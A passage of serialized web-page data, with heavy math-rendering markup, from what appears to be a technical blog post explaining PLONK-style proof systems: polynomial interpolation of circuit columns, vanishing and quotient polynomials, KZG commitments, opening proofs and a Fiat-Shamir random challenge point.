polynomials",{"type":32,"value":6171},{"type":26,"tag":53,"props":142226,"children":142228},{"className":142227},[3691,3692],[142229],{"type":26,"tag":475,"props":142230,"children":142232},{"className":142231},[3697],[142233],{"type":26,"tag":475,"props":142234,"children":142236},{"className":142235,"ariaHidden":3703},[3702],[142237],{"type":26,"tag":475,"props":142238,"children":142240},{"className":142239},[3708],[142241,142245,142302,142307,142312],{"type":26,"tag":475,"props":142242,"children":142244},{"className":142243,"style":3821},[3713],[],{"type":26,"tag":475,"props":142246,"children":142248},{"className":142247},[3719],[142249,142254],{"type":26,"tag":475,"props":142250,"children":142252},{"className":142251,"style":95021},[3719,21296],[142253],{"type":32,"value":32782},{"type":26,"tag":475,"props":142255,"children":142257},{"className":142256},[3736],[142258],{"type":26,"tag":475,"props":142259,"children":142261},{"className":142260},[3741,21350],[142262,142291],{"type":26,"tag":475,"props":142263,"children":142265},{"className":142264},[3746],[142266,142286],{"type":26,"tag":475,"props":142267,"children":142269},{"className":142268,"style":142034},[3751],[142270],{"type":26,"tag":475,"props":142271,"children":142272},{"style":95042},[142273,142277],{"type":26,"tag":475,"props":142274,"children":142276},{"className":142275,"style":3761},[3760],[],{"type":26,"tag":475,"props":142278,"children":142280},{"className":142279},[3766,3767,3768,3769],[142281],{"type":26,"tag":475,"props":142282,"children":142284},{"className":142283},[3719,21296,3769],[142285],{"type":32,"value":117443},{"type":26,"tag":475,"props":142287,"children":142289},{"className":142288},[21453],[142290],{"type":32,"value":21456},{"type":26,"tag":475,"props":142292,"children":142294},{"className":142293},[3746],[142295],{"type":26,"tag":475,"props":142296,"children":142298},{"className":142297,"style":92750},[3751],[142299],{"type":26,"tag":475,"props":142300,"children":142301},{},[],{"type":26,"tag":475,"props":142303,"children":142305},{"className":142304},[21425],[142306],{"type":32,"value":626},{"type":26,"tag":475,"props":142308,"children":142310},{"className":142309},[3719,21296],[142311],{"type":32,"value":18984},{"type":26,"tag":475,"props":142313,"children":142315},{"className":142314},[21447],[142316],{"type":32,"value":2835},{"type":32,"value":637},{"type":26,"tag":53,"props":142319,"children":142321},{"className":142320},[3691,3692],[142322],{"type":26,"tag":475,"props":142323,"children":142325},{"className":142324},[3697],[142326],{"type":26,"tag":475,"props":142327,"children":142329},{"className":142328,"ariaHidden":3703},[3702],[142330],{"type":26,"tag":475,"props":142331,"children":142333},{"className":142332},[3708],[142334,142338,142395,142400,142405],{"type":26,"tag":475,"props":142335,"children":142337},{"className":142336,"style":3821},[3713],[],{"type":26,"tag":475,"props":142339,"children":142341},{"className":142340},[3719],[142342,142347],{"type":26,"tag":475,"props":142343,"children":142345},{"className":142344,"style":95021},[3719,21296],[142346],{"type":32,"value":32782},{"type":26,"tag":475,"props":142348,"children":142350},{"className":142349},[3736],[142351],{"type":26,"tag":475,"props":142352,"children":142354},{"className":142353},[3741,21350],[142355,142384],{"type":26,"tag":475,"props":142356,"children":142358},{"className":142357},[3746],[142359,142379],{"type":26,"tag":475,"props":142360,"children":142362},{"className":142361,"style":142034},[3751],[142363],{"type":26,"tag":475,"props":142364,"children":142365},{"style":95042},[142366,142370],{"type":26,"tag":475,"props":142367,"children":142369},{"className":142368,"style":3761},[3760],[],{"type":26,"tag":475,"props":142371,"children":142373},{"className":142372},[3766,3767,3768,3769],[142374],{"type":26,"tag":475,"props":142375,"children":142377},{"className":142376,"style":122256},[3719,21296,3769],[142378],{"type":32,"value":122259},{"type":26,"tag":475,"props":142380,"children":142382},{"className":142381},[21453],[142383],{"type":32,"value":21456},{"type":26,"tag":475,"props":142385,"children":142387},{"className":142386},[3746],[142388],{"type":26,"tag":475,"props":142389,"children":142391},{"className":142390,"style":92750},[3751],[142392],{"type":26,"tag":475,"props":142393,"children":142394},{},[],{"type":26,"tag":475,"props":142396,"children":142398},{"className":142397},[21425],[142399],{"type":32,"value":626},{"type":26,"tag":475,"props":142401,"children":142403},{"className":142402},[3719,21296],[142404],{"type":32,"value":18984},{"type":26,"tag":475,"props":142406,"children":142408},{"className":142407},[21447],[142409],{"type":32,"value":2835},{"type":32,"value":637},{"type":26,"tag":53,"props":142412,"children":142414},{"className":142413},[3691,3692],[142415],{"type":26,"tag":475,"props":142416,"children":142418},{"className":142417},[3697],[142419],{"type":26,"tag":475,"props":142420,"children":142422},{"className":142421,"ariaHidden":3703},[3702],[142423],{"type":26,"tag":475,"props":142424,"children":142426},{"className":142425},[3708],[142427,142431,142488,142493,142498],{"type":26,"tag":475,"props":142428,"children":142430},{"className":142429,"style":3821},[3713],[],{"type":26,"tag":475,"props":142432,"children":142434},{"className":142433},[3719],[142435,142440],{"type":26,"tag":475,"props":142436,"children":142438},{"className":142437,"style":95021},[3719,21296],[142439],{"type":32,"value":32782},{"type":26,"tag":475,"props":142441,"children":142443},{"className":142442},[3736],[142444],{"type":26,"tag":475,"props":142445,"children":142447},{"className":142446},[3741,21350],[142448,142477],{"type":26,"tag":475,"props":142449,"children":142451},{"className":142450},[3746],[142452,142472],{"type":26,"tag":475,"props":142453,"children":142455},{"className":142454,"style":142034},[3751],[142456],{"type":26,"tag":475,"props":142457,"children":142458},{"style":95042},[142459,142463],{"type":26,"tag":475,"props":142460,"children":142462},{"className":142461,"style":3761},[3760],[],{"type":26,"tag":475,"props":142464,"children":142466},{"className":142465},[3766,3767,3768,3769],[142467],{"type":26,"tag":475,"props":142468,"children":142470},{"className":142469,"style":92667},[3719,21296,3769],[142471],{"type":32,"value":114798},{"type":26,"tag":475,"props":142473,"children":142475},{"className":142474},[21453],[142476],{"type":32,"value":21456},{"type":26,"tag":475,"props":142478,"children":142480},{"className":142479},[3746],[142481],{"type":26,"tag":475,"props":142482,"children":142484},{"className":142483,"style":92750},[3751],[142485],{"type":26,"tag":475,"props":142486,"children":142487},{},[],{"type":26,"tag":475,"props":142489,"children":142491},{"className":142490},[21425],[142492],{"type":32,"value":626},{"type":26,"tag":475,"props":142494,"children":142496},{"className":142495},[3719,21296],[142497],{"type":32,"value":18984},{"type":26,"tag":475,"props":142499,"children":142501},{"className":142500},[21447],[142502],{"type":32,"value":2835},{"type":32,"value":142504}," and the selectors become ",{"type":26,"tag":2615,"props":142506,"children":142507},{},[142508],{"type":32,"value":142509},"selector polynomials",{"type":32,"value":6171},{"type":26,"tag":53,"props":142512,"children":142514},{"className":142513},[3691,3692],[142515],{"type":26,"tag":475,"props":142516,"children":142518},{"className":142517},[3697],[142519],{"type":26,"tag":475,"props":142520,"children":142522},{"className":142521,"ariaHidden":3703},[3702],[142523],{"type":26,"tag":475,"props":142524,"children":142526},{"className":142525},[3708],[142527,142531,142588,142593,142598],{"type":26,"tag":475,"props":142528,"children":142530},{"className":142529,"style":3821},[3713],[],{"type":26,"tag":475,"props":142532,"children":142534},{"className":142533},[3719],[142535,142540],{"type":26,"tag":475,"props":142536,"children":142538},{"className":142537},[3719,21296],[142539],{"type":32,"value":76431},{"type":26,"tag":475,"props":142541,"children":142543},{"className":142542},[3736],[142544],{"type":26,"tag":475,"props":142545,"children":142547},{"className":142546},[3741,21350],[142548,142577],{"type":26,"tag":475,"props":142549,"children":142551},{"className":142550},[3746],[142552,142572],{"type":26,"tag":475,"props":142553,"children":142555},{"className":142554,"style":142034},[3751],[142556],{"type":26,"tag":475,"props":142557,"children":142558},{"style":92723},[142559,142563],{"type":26,"tag":475,"props":142560,"children":142562},{"className":142561,"style":3761},[3760],[],{"type":26,"tag":475,"props":142564,"children":142566},{"className":142565},[3766,3767,3768,3769],[142567],{"type":26,"tag":475,"props":142568,"children":142570},{"className":142569,"style":94675},[3719,21296,3769],[142571],{"type":32,"value":94678},{"type":26,"tag":475,"props":142573,"children":142575},{"className":142574},[21453],[142576],{"type":32,"value":21456},{"type":26,"tag":475,"props":142578,"children":142580},{"className":142579},[3746],[142581],{"type":26,"tag":475,"props":142582,"children":142584},{"className":142583,"style":92750},[3751],[142585],{"type":26,"tag":475,"props":142586,"children":142587},{},[],{"type":26,"tag":475,"props":142589,"children":142591},{"className":142590},[21425],[142592],{"type":32,"value":626},{"type":26,"tag":475,"props":142594,"children":142596},{"className":142595},[3719,21296],[142597],{"type":32,"value":18984},{"type":26,"tag":475,"props":142599,"children":142601},{"className":142600},[21447],[142602],{"type":32,"value":2835},{"type":32,"value":637},{"type":26,"tag":53,"props":142605,"children":142607},{"className":142606},[3691,3692],[142608],{"type":26,"tag":475,"props":142609,"children":142611},{"className":142610},[3697],[142612],{"type":26,"tag":475,"props":142613,"children":142615},{"className":142614,"ariaHidden":3703},[3702],[142616],{"type":26,"tag":475,"props":142617,"children":142619},{"className":142618},[3708],[142620,142624,142681,142686,142691],{"type":26,"tag":475,"props":142621,"children":142623},{"className":142622,"style":3821},[3713],[],{"type":26,"tag":475,"props":142625,"children":142627},{"className":142626},[3719],[142628,142633],{"type":26,"tag":475,"props":142629,"children":142631},{"className":142630},[3719,21296],[142632],{"type":32,"value":76431},{"type":26,"tag":475,"props":142634,"children":142636},{"className":142635},[3736],[142637],{"type":26,"tag":475,"props":142638,"children":142640},{"className":142639},[3741,21350],[142641,142670],{"type":26,"tag":475,"props":142642,"children":142644},{"className":142643},[3746],[142645,142665],{"type":26,"tag":475,"props":142646,"children":142648},{"className":142647,"style":142034},[3751],[142649],{"type":26,"tag":475,"props":142650,"children":142651},{"style":92723},[142652,142656],{"type":26,"tag":475,"props":142653,"children":142655},{"className":142654,"style":3761},[3760],[],{"type":26,"tag":475,"props":142657,"children":142659},{"className":142658},[3766,3767,3768,3769],[142660],{"type":26,"tag":475,"props":142661,"children":142663},{"className":142662},[3719,21296,3769],[142664],{"type":32,"value":117443},{"type":26,"tag":475,"props":142666,"children":142668},{"className":142667},[21453],[142669],{"type":32,"value":21456},{"type":26,"tag":475,"props":142671,"children":142673},{"className":142672},[3746],[142674],{"type":26,"tag":475,"props":142675,"children":142677},{"className":142676,"style":92750},[3751],[142678],{"type":26,"tag":475,"props":142679,"children":142680},{},[],{"type":26,"tag":475,"props":142682,"children":142684},{"className":142683},[21425],[142685],{"type":32,"value":626},{"type":26,"tag":475,"props":142687,"children":142689},{"className":142688},[3719,21296],[142690],{"type":32,"value":18984},{"type":26,"tag":475,"props":142692,"children":142694},{"className":142693},[21447],[142695],{"type":32,"value":2835},{"type":32,"value":142697},", etc., all interpolated over a domain ",{"type":26,"tag":53,"props":142699,"children":142701},{"className":142700},[3691,3692],[142702],{"type":26,"tag":475,"props":142703,"children":142705},{"className":142704},[3697],[142706],{"type":26,"tag":475,"props":142707,"children":142709},{"className":142708,"ariaHidden":3703},[3702],[142710],{"type":26,"tag":475,"props":142711,"children":142713},{"className":142712},[3708],[142714,142718],{"type":26,"tag":475,"props":142715,"children":142717},{"className":142716,"style":21291},[3713],[],{"type":26,"tag":475,"props":142719,"children":142721},{"className":142720,"style":92901},[3719,21296],[142722],{"type":32,"value":92904},{"type":32,"value":142724}," of ",{"type":26,"tag":53,"props":142726,"children":142728},{"className":142727},[3691,3692],[142729],{"type":26,"tag":475,"props":142730,"children":142732},{"className":142731},[3697],[142733],{"type":26,"tag":475,"props":142734,"children":142736},{"className":142735,"ariaHidden":3703},[3702],[142737],{"type":26,"tag":475,"props":142738,"children":142740},{"className":142739},[3708],[142741,142745],{"type":26,"tag":475,"props":142742,"children":142744},{"className":142743,"style":110320},[3713],[],{"type":26,"tag":475,"props":142746,"children":142748},{"className":142747},[3719,21296],[142749],{"type":32,"value":56095},{"type":32,"value":142751},"-th roots of unity. Evaluating ",{"type":26,"tag":53,"props":142753,"children":142755},{"className":142754},[3691,3692],[142756],{"type":26,"tag":475,"props":142757,"children":142759},{"className":142758},[3697],[142760],{"type":26,"tag":475,"props":142761,"children":142763},{"className":142762,"ariaHidden":3703},[3702],[142764],{"type":26,"tag":475,"props":142765,"children":142767},{"className":142766},[3708],[142768,142772,142829,142834,142839],{"type":26,"tag":475,"props":142769,"children":142771},{"className":142770,"style":3821},[3713],[],{"type":26,"tag":475,"props":142773,"children":142775},{"className":142774},[3719],[142776,142781],{"type":26,"tag":475,"props":142777,"children":142779},{"className":142778,"style":95021},[3719,21296],[142780],{"type":32,"value":32782},{"type":26,"tag":475,"props":142782,"children":142784},{"className":142783},[3736],[142785],{"type":26,"tag":475,"props":142786,"children":142788},{"className":142787},[3741,21350],[142789,142818],{"type":26,"tag":475,"props":142790,"children":142792},{"className":142791},[3746],[142793,142813],{"type":26,"tag":475,"props":142794,"children":142796},{"className":142795,"style":142034},[3751],[142797],{"type":26,"tag":475,"props":142798,"children":142799},{"style":95042},[142800,142804],{"type":26,"tag":475,"props":142801,"children":142803},{"className":142802,"style":3761},[3760],[],{"type":26,"tag":475,"props":142805,"children":142807},{"className":142806},[3766,3767,3768,3769],[142808],{"type":26,"tag":475,"props":142809,"children":142811},{"className":142810},[3719,21296,3769],[142812],{"type":32,"value":117443},{"type":26,"tag":475,"props":142814,"children":142816},{"className":142815},[21453],[142817],{"type":32,"value":21456},{"type":26,"tag":475,"props":142819,"children":142821},{"className":142820},[3746],[142822],{"type":26,"tag":475,"props":142823,"children":142825},{"className":142824,"style":92750},[3751],[142826],{"type":26,"tag":475,"props":142827,"children":142828},{},[],{"type":26,"tag":475,"props":142830,"children":142832},{"className":142831},[21425],[142833],{"type":32,"value":626},{"type":26,"tag":475,"props":142835,"children":142837},{"className":142836},[3719,21296],[142838],{"type":32,"value":18984},{"type":26,"tag":475,"props":142840,"children":142842},{"className":142841},[21447],[142843],{"type":32,"value":2835},{"type":32,"value":142845}," at the ",{"type":26,"tag":53,"props":142847,"children":142849},{"className":142848},[3691,3692],[142850],{"type":26,"tag":475,"props":142851,"children":142853},{"className":142852},[3697],[142854],{"type":26,"tag":475,"props":142855,"children":142857},{"className":142856,"ariaHidden":3703},[3702],[142858],{"type":26,"tag":475,"props":142859,"children":142861},{"className":142860},[3708],[142862,142866],{"type":26,"tag":475,"props":142863,"children":142865},{"className":142864,"style":141730},[3713],[],{"type":26,"tag":475,"props":142867,"children":142869},{"className":142868},[3719,21296],[142870],{"type":32,"value":3445},{"type":32,"value":142872},"-th root recovers the left wire value at row ",{"type":26,"tag":53,"props":142874,"children":142876},{"className":142875},[3691,3692],[142877],{"type":26,"tag":475,"props":142878,"children":142880},{"className":142879},[3697],[142881],{"type":26,"tag":475,"props":142882,"children":142884},{"className":142883,"ariaHidden":3703},[3702],[142885],{"type":26,"tag":475,"props":142886,"children":142888},{"className":142887},[3708],[142889,142893],{"type":26,"tag":475,"props":142890,"children":142892},{"className":142891,"style":141730},[3713],[],{"type":26,"tag":475,"props":142894,"children":142896},{"className":142895},[3719,21296],[142897],{"type":32,"value":3445},{"type":32,"value":353},{"type":26,"tag":142900,"props":142901,"children":142902},"polynomial-interpolation-panel",{},[],{"type":26,"tag":35,"props":142904,"children":142905},{},[142906,142908,142948,142950,143016,143018,143148,143150,143190,143192,143232,143234,143274,143275,143397],{"type":32,"value":142907},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":26,"tag":53,"props":142909,"children":142911},{"className":142910},[3691,3692],[142912],{"type":26,"tag":475,"props":142913,"children":142915},{"className":142914},[3697],[142916],{"type":26,"tag":475,"props":142917,"children":142919},{"className":142918,"ariaHidden":3703},[3702],[142920],{"type":26,"tag":475,"props":142921,"children":142923},{"className":142922},[3708],[142924,142928,142933,142938,142943],{"type":26,"tag":475,"props":142925,"children":142927},{"className":142926,"style":3821},[3713],[],{"type":26,"tag":475,"props":142929,"children":142931},{"className":142930,"style":21297},[3719,21296],[142932],{"type":32,"value":121257},{"type":26,"tag":475,"props":142934,"children":142936},{"className":142935},[21425],[142937],{"type":32,"value":626},{"type":26,"tag":475,"props":142939,"children":142941},{"className":142940},[3719,21296],[142942],{"type":32,"value":18984},{"type":26,"tag":475,"props":142944,"children":142946},{"className":142945},[21447],[142947],{"type":32,"value":2835},{"type":32,"value":142949}," that combines selectors and witnesses. If the prover was honest, ",{"type":26,"tag":53,"props":142951,"children":142953},{"className":142952},[3691,3692],[142954],{"type":26,"tag":475,"props":142955,"children":142957},{"className":142956},[3697],[142958],{"type":26,"tag":475,"props":142959,"children":142961},{"className":142960,"ariaHidden":3703},[3702],[142962,143003],{"type":26,"tag":475,"props":142963,"children":142965},{"className":142964},[3708],[142966,142970,142975,142980,142985,142990,142994,142999],{"type":26,"tag":475,"props":142967,"children":142969},{"className":142968,"style":3821},[3713],[],{"type":26,"tag":475,"props":142971,"children":142973},{"className":142972,"style":21297},[3719,21296],[142974],{"type":32,"value":121257},{"type":26,"tag":475,"props":142976,"children":142978},{"className":142977},[21425],[142979],{"type":32,"value":626},{"type":26,"tag":475,"props":142981,"children":142983},{"className":142982},[3719,21296],[142984],{"type":32,"value":18984},{"type":26,"tag":475,"props":142986,"children":142988},{"className":142987},[21447],[142989],{"type":32,"value":2835},{"type":26,"tag":475,"props":142991,"children":142993},{"className":142992,"style":3898},[3800],[],{"type":26,"tag":475,"props":142995,"children":142997},{"className":142996},[3903],[142998],{"type":32,"value":786},{"type":26,"tag":475,"props":143000,"children":143002},{"className":143001,"style":3898},[3800],[],{"type":26,"tag":475,"props":143004,"children":143006},{"className":143005},[3708],[143007,143011],{"type":26,"tag":475,"props":143008,"children":143010},{"className":143009,"style":93698},[3713],[],{"type":26,"tag":475,"props":143012,"children":143014},{"className":143013},[3719],[143015],{"type":32,"value":3732},{"type":32,"value":143017}," at every row index in the domain. The vanishing polynomial ",{"type":26,"tag":53,"props":143019,"children":143021},{"className":143020},[3691,3692],[143022],{"type":26,"tag":475,"props":143023,"children":143025},{"className":143024},[3697],[143026],{"type":26,"tag":475,"props":143027,"children":143029},{"className":143028,"ariaHidden":3703},[3702],[143030,143072,143135],{"type":26,"tag":475,"props":143031,"children":143033},{"className":143032},[3708],[143034,143038,143044,143049,143054,143059,143063,143068],{"type":26,"tag":475,"props":143035,"children":143037},{"className":143036,"style":3821},[3713],[],{"type":26,"tag":475,"props":143039,"children":143041},{"className":143040,"style":21828},[3719,21296],[143042],{"type":32,"value":143043},"Z",{"type":26,"tag":475,"props":143045,"children":143047},{"className":143046},[21425],[143048],{"type":32,"value":626},{"type":26,"tag":475,"props":143050,"children":143052},{"className":143051},[3719,21296],[143053],{"type":32,"value":18984},{"type":26,"tag":475,"props":143055,"children":143057},{"className":143056},[21447],[143058],{"type":32,"value":2835},{"type":26,"tag":475,"props":143060,"children":143062},{"className":143061,"style":3898},[3800],[],{"type":26,"tag":475,"props":143064,"children":143066},{"className":143065},[3903],[143067],{"type":32,"value":786},{"type":26,"tag":475,"props":143069,"children":143071},{"className":143070,"style":3898},[3800],[],{"type":26,"tag":475,"props":143073,"children":143075},{"className":143074},[3708],[143076,143081,143122,143126,143131],{"type":26,"tag":475,"props":143077,"children":143080},{"className":143078,"style":143079},[3713],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":26,"tag":475,"props":143082,"children":143084},{"className":143083},[3719],[143085,143090],{"type":26,"tag":475,"props":143086,"children":143088},{"className":143087},[3719,21296],[143089],{"type":32,"value":18984},{"type":26,"tag":475,"props":143091,"children":143093},{"className":143092},[3736],[143094],{"type":26,"tag":475,"props":143095,"children":143097},{"className":143096},[3741],[143098],{"type":26,"tag":475,"props":143099,"children":143101},{"className":143100},[3746],[143102],{"type":26,"tag":475,"props":143103,"children":143105},{"className":143104,"style":108196},[3751],[143106],{"type":26,"tag":475,"props":143107,"children":143108},{"style":3755},[143109,143113],{"type":26,"tag":475,"props":143110,"children":143112},{"className":143111,"style":3761},[3760],[],{"type":26,"tag":475,"props":143114,"children":143116},{"className":143115},[3766,3767,3768,3769],[143117],{"type":26,"tag":475,"props":143118,"children":143120},{"className":143119},[3719,21296,3769],[143121],{"type":32,"value":56095},{"type":26,"tag":475,"props":143123,"children":143125},{"className":143124,"style":3801},[3800],[],{"type":26,"tag":475,"props":143127,"children":143129},{"className":143128},[3806],[143130],{"type":32,"value":3780},{"type":26,"tag":475,"props":143132,"children":143134},{"className":143133,"style":3801},[3800],[],{"type":26,"tag":475,"props":143136,"children":143138},{"className":143137},[3708],[143139,143143],{"type":26,"tag":475,"props":143140,"children":143142},{"className":143141,"style":93698},[3713],[],{"type":26,"tag":475,"props":143144,"children":143146},{"className":143145},[3719],[143147],{"type":32,"value":3722},{"type":32,"value":143149}," is zero on exactly those points, so if all constraints hold then ",{"type":26,"tag":53,"props":143151,"children":143153},{"className":143152},[3691,3692],[143154],{"type":26,"tag":475,"props":143155,"children":143157},{"className":143156},[3697],[143158],{"type":26,"tag":475,"props":143159,"children":143161},{"className":143160,"ariaHidden":3703},[3702],[143162],{"type":26,"tag":475,"props":143163,"children":143165},{"className":143164},[3708],[143166,143170,143175,143180,143185],{"type":26,"tag":475,"props":143167,"children":143169},{"className":143168,"style":3821},[3713],[],{"type":26,"tag":475,"props":143171,"children":143173},{"className":143172,"style":21828},[3719,21296],[143174],{"type":32,"value":143043},{"type":26,"tag":475,"props":143176,"children":143178},{"className":143177},[21425],[143179],{"type":32,"value":626},{"type":26,"tag":475,"props":143181,"children":143183},{"className":143182},[3719,21296],[143184],{"type":32,"value":18984},{"type":26,"tag":475,"props":143186,"children":143188},{"className":143187},[21447],[143189],{"type":32,"value":2835},{"type":32,"value":143191}," divides ",{"type":26,"tag":53,"props":143193,"children":143195},{"className":143194},[3691,3692],[143196],{"type":26,"tag":475,"props":143197,"children":143199},{"className":143198},[3697],[143200],{"type":26,"tag":475,"props":143201,"children":143203},{"className":143202,"ariaHidden":3703},[3702],[143204],{"type":26,"tag":475,"props":143205,"children":143207},{"className":143206},[3708],[143208,143212,143217,143222,143227],{"type":26,"tag":475,"props":143209,"children":143211},{"className":143210,"style":3821},[3713],[],{"type":26,"tag":475,"props":143213,"children":143215},{"className":143214,"style":21297},[3719,21296],[143216],{"type":32,"value":121257},{"type":26,"tag":475,"props":143218,"children":143220},{"className":143219},[21425],[143221],{"type":32,"value":626},{"type":26,"tag":475,"props":143223,"children":143225},{"className":143224},[3719,21296],[143226],{"type":32,"value":18984},{"type":26,"tag":475,"props":143228,"children":143230},{"className":143229},[21447],[143231],{"type":32,"value":2835},{"type":32,"value":143233},", yielding a quotient polynomial ",{"type":26,"tag":53,"props":143235,"children":143237},{"className":143236},[3691,3692],[143238],{"type":26,"tag":475,"props":143239,"children":143241},{"className":143240},[3697],[143242],{"type":26,"tag":475,"props":143243,"children":143245},{"className":143244,"ariaHidden":3703},[3702],[143246],{"type":26,"tag":475,"props":143247,"children":143249},{"className":143248},[3708],[143250,143254,143259,143264,143269],{"type":26,"tag":475,"props":143251,"children":143253},{"className":143252,"style":3821},[3713],[],{"type":26,"tag":475,"props":143255,"children":143257},{"className":143256,"style":21297},[3719,21296],[143258],{"type":32,"value":5701},{"type":26,"tag":475,"props":143260,"children":143262},{"className":143261},[21425],[143263],{"type":32,"value":626},{"type":26,"tag":475,"props":143265,"children":143267},{"className":143266},[3719,21296],[143268],{"type":32,"value":18984},{"type":26,"tag":475,"props":143270,"children":143272},{"className":143271},[21447],[143273],{"type":32,"value":2835},{"type":32,"value":21212},{"type":26,"tag":53,"props":143276,"children":143278},{"className":143277},[3691,3692],[143279],{"type":26,"tag":475,"props":143280,"children":143282},{"className":143281},[3697],[143283],{"type":26,"tag":475,"props":143284,"children":143286},{"className":143285,"ariaHidden":3703},[3702],[143287,143328,143369],{"type":26,"tag":475,"props":143288,"children":143290},{"className":143289},[3708],[143291,143295,143300,143305,143310,143315,143319,143324],{"type":26,"tag":475,"props":143292,"children":143294},{"className":143293,"style":3821},[3713],[],{"type":26,"tag":475,"props":143296,"children":143298},{"className":143297,"style":21297},[3719,21296],[143299],{"type":32,"value":121257},{"type":26,"tag":475,"props":143301,"children":143303},{"className":143302},[21425],[143304],{"type":32,"value":626},{"type":26,"tag":475,"props":143306,"children":143308},{"className":143307},[3719,21296],[143309],{"type":32,"value":18984},{"type":26,"tag":475,"props":143311,"children":143313},{"className":143312},[21447],[143314],{"type":32,"value":2835},{"type":26,"tag":475,"props":143316,"children":143318},{"className":143317,"style":3898},[3800],[],{"type":26,"tag":475,"props":143320,"children":143322},{"className":143321},[3903],[143323],{"type":32,"value":786},{"type":26,"tag":475,"props":143325,"children":143327},{"className":143326,"style":3898},[3800],[],{"type":26,"tag":475,"props":143329,"children":143331},{"className":143330},[3708],[143332,143336,143341,143346,143351,143356,143360,143365],{"type":26,"tag":475,"props":143333,"children":143335},{"className":143334,"style":3821},[3713],[],{"type":26,"tag":475,"props":143337,"children":143339},{"className":143338,"style":21297},[3719,21296],[143340],{"type":32,"value":5701},{"type":26,"tag":475,"props":143342,"children":143344},{"className":143343},[21425],[143345],{"type":32,"value":626},{"type":26,"tag":475,"props":143347,"children":143349},{"className":143348},[3719,21296],[143350],{"type":32,"value":18984},{"type":26,"tag":475,"props":143352,"children":143354},{"className":143353},[21447],[143355],{"type":32,"value":2835},{"type":26,"tag":475,"props":143357,"children":143359},{"className":143358,"style":3801},[3800],[],{"type":26,"tag":475,"props":143361,"children":143363},{"className":143362},[3806],[143364],{"type":32,"value":110741},{"type":26,"tag":475,"props":143366,"children":143368},{"className":143367,"style":3801},[3800],[],{"type":26,"tag":475,"props":143370,"children":143372},{"className":143371},[3708],[143373,143377,143382,143387,143392],{"type":26,"tag":475,"props":143374,"children":143376},{"className":143375,"style":3821},[3713],[],{"type":26,"tag":475,"props":143378,"children":143380},{"className":143379,"style":21828},[3719,21296],[143381],{"type":32,"value":143043},{"type":26,"tag":475,"props":143383,"children":143385},{"className":143384},[21425],[143386],{"type":32,"value":626},{"type":26,"tag":475,"props":143388,"children":143390},{"className":143389},[3719,21296],[143391],{"type":32,"value":18984},{"type":26,"tag":475,"props":143393,"children":143395},{"className":143394},[21447],[143396],{"type":32,"value":2835},{"type":32,"value":353},{"type":26,"tag":35,"props":143399,"children":143400},{},[143401],{"type":26,"tag":132,"props":143402,"children":143405},{"alt":143403,"src":143404},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":26,"tag":41,"props":143407,"children":143409},{"id":143408},"polynomial-commitments-and-opening-proofs",[143410],{"type":32,"value":143411},"Polynomial commitments and opening proofs",{"type":26,"tag":35,"props":143413,"children":143414},{},[143415,143417,143422,143424,143429],{"type":32,"value":143416},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":26,"tag":2615,"props":143418,"children":143419},{},[143420],{"type":32,"value":143421},"commitments",{"type":32,"value":143423},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":26,"tag":2615,"props":143425,"children":143426},{},[143427],{"type":32,"value":143428},"opening proof",{"type":32,"value":143430}," that the claimed value is consistent with the earlier commitment.",{"type":26,"tag":35,"props":143432,"children":143433},{},[143434],{"type":32,"value":143435},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":26,"tag":41,"props":143437,"children":143439},{"id":143438},"reducing-to-a-single-random-point",[143440],{"type":32,"value":143441},"Reducing to a single random point",{"type":26,"tag":35,"props":143443,"children":143444},{},[143445,143447,143487,143489,143514,143516,143638,143640,143665],{"type":32,"value":143446},"After the prover commits to all polynomials, including ",{"type":26,"tag":53,"props":143448,"children":143450},{"className":143449},[3691,3692],[143451],{"type":26,"tag":475,"props":143452,"children":143454},{"className":143453},[3697],[143455],{"type":26,"tag":475,"props":143456,"children":143458},{"className":143457,"ariaHidden":3703},[3702],[143459],{"type":26,"tag":475,"props":143460,"children":143462},{"className":143461},[3708],[143463,143467,143472,143477,143482],{"type":26,"tag":475,"props":143464,"children":143466},{"className":143465,"style":3821},[3713],[],{"type":26,"tag":475,"props":143468,"children":143470},{"className":143469,"style":21297},[3719,21296],[143471],{"type":32,"value":5701},{"type":26,"tag":475,"props":143473,"children":143475},{"className":143474},[21425],[143476],{"type":32,"value":626},{"type":26,"tag":475,"props":143478,"children":143480},{"className":143479},[3719,21296],[143481],{"type":32,"value":18984},{"type":26,"tag":475,"props":143483,"children":143485},{"className":143484},[21447],[143486],{"type":32,"value":2835},{"type":32,"value":143488},", the verifier picks a random challenge point ",{"type":26,"tag":53,"props":143490,"children":143492},{"className":143491},[3691,3692],[143493],{"type":26,"tag":475,"props":143494,"children":143496},{"className":143495},[3697],[143497],{"type":26,"tag":475,"props":143498,"children":143500},{"className":143499,"ariaHidden":3703},[3702],[143501],{"type":26,"tag":475,"props":143502,"children":143504},{"className":143503},[3708],[143505,143509],{"type":26,"tag":475,"props":143506,"children":143508},{"className":143507,"style":110320},[3713],[],{"type":26,"tag":475,"props":143510,"children":143512},{"className":143511,"style":113036},[3719,21296],[143513],{"type":32,"value":113039},{"type":32,"value":143515}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":26,"tag":53,"props":143517,"children":143519},{"className":143518},[3691,3692],[143520],{"type":26,"tag":475,"props":143521,"children":143523},{"className":143522},[3697],[143524],{"type":26,"tag":475,"props":143525,"children":143527},{"className":143526,"ariaHidden":3703},[3702],[143528,143569,143610],{"type":26,"tag":475,"props":143529,"children":143531},{"className":143530},[3708],[143532,143536,143541,143546,143551,143556,143560,143565],{"type":26,"tag":475,"props":143533,"children":143535},{"className":143534,"style":3821},[3713],[],{"type":26,"tag":475,"props":143537,"children":143539},{"className":143538,"style":21297},[3719,21296],[143540],{"type":32,"value":121257},{"type":26,"tag":475,"props":143542,"children":143544},{"className":143543},[21425],[143545],{"type":32,"value":626},{"type":26,"tag":475,"props":143547,"children":143549},{"className":143548,"style":113036},[3719,21296],[143550],{"type":32,"value":113039},{"type":26,"tag":475,"props":143552,"children":143554},{"className":143553},[21447],[143555],{"type":32,"value":2835},{"type":26,"tag":475,"props":143557,"children":143559},{"className":143558,"style":3898},[3800],[],{"type":26,"tag":475,"props":143561,"children":143563},{"className":143562},[